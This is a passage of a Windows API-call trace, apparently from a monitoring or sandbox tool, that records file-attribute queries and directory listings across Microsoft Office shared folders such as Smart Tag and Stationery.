	[0050.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), fInfoLevelId=0x0, lpFileInformation=0x1276e8c8 | out: lpFileInformation=0x1276e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734)) returned 1
	[0050.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), fInfoLevelId=0x0, lpFileInformation=0x1276e918 | out: lpFileInformation=0x1276e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869)) returned 1
	[0050.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), fInfoLevelId=0x0, lpFileInformation=0x1276e968 | out: lpFileInformation=0x1276e968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f)) returned 1
	[0050.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), fInfoLevelId=0x0, lpFileInformation=0x1276e9b8 | out: lpFileInformation=0x1276e9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174)) returned 1
	[0050.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), fInfoLevelId=0x0, lpFileInformation=0x1276ea08 | out: lpFileInformation=0x1276ea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef)) returned 1
	[0050.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276ea58 | out: lpFileInformation=0x1276ea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180)) returned 1
	[0050.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), fInfoLevelId=0x0, lpFileInformation=0x1276eaa8 | out: lpFileInformation=0x1276eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8)) returned 1
	[0050.591] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276eaf8 | out: lpFileInformation=0x1276eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180)) returned 1
	[0050.592] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), fInfoLevelId=0x0, lpFileInformation=0x1276eb48 | out: lpFileInformation=0x1276eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574)) returned 1
	[0050.593] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), fInfoLevelId=0x0, lpFileInformation=0x1276eb98 | out: lpFileInformation=0x1276eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80)) returned 1
	[0050.593] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), fInfoLevelId=0x0, lpFileInformation=0x1276ebe8 | out: lpFileInformation=0x1276ebe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.594] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.594] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1
	[0050.594] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.594] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), fInfoLevelId=0x0, lpFileInformation=0x1276ec88 | out: lpFileInformation=0x1276ec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968)) returned 1
	[0050.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x1276ecd8 | out: lpFileInformation=0x1276ecd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1
	[0050.598] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1
